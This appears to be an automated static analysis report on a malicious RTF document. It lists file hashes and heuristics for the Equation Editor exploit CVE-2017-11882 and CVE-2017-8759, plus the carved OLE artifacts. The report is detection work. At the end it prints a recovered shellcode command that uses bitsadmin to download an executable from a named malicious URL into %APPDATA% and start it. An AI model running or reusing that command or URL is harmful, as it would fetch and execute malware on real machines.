Malicious RTF — malware analysis report

Static analysis result for SHA-256 b7f3827090ec68a6…

MALICIOUS

RTF

2.35 MB Created: 2018-04-25 10:02:00 First seen: 2019-01-12
MD5: a3f272588b101e8d438d15fbb467ca5e SHA-1: b00be82225569377dbb4f430bf702fc10cdb1c8a SHA-256: b7f3827090ec68a69ee2ec86c0cc570c60b588f998fe36a293975a78fec9b716
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 and CVE-2017-8759, which are known to facilitate arbitrary code execution. The presence of embedded OLE objects and large hex-encoded data blocks suggests the file is designed to hide and deliver a malicious payload. The extracted URL points to a suspicious executable, likely the second-stage payload.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1603KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lokipanelhostingnew.cf/wordpress/wp-includes/images/media/nw1.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000031c7.bin rtf-objdata-decoded RTF \objdata at offset 0x31C7 144960 bytes
SHA-256: 9d816eebebd0dd385e61236ea8d5cc7af7aa5ec2c1d1de57fac861bc0d0c3ee0
objdata_01_off00065437.bin rtf-objdata-decoded RTF \objdata at offset 0x65437 35374 bytes
SHA-256: 7d648368b551cdd0bcb9d41d1137cf7bb7a6a4e510169d2e2f324ddb8cd8a2e6
objdata_02_off00194384.bin rtf-objdata-decoded RTF \objdata at offset 0x194384 15842 bytes
SHA-256: a8b57847680a83ac6e422a27a054761d18bfc3f63a7e731adcb61ebe09f54e37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://lokipanelhostingnew.cf/wordpress/wp-includes/images/media/nw1.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer yE /priority foreground http://lokipanelhostingnew.cf/wordpress/wp-includes/images/media/nw1.exe %APPDATA%\WG.exe && start %APPDATA%\WG.

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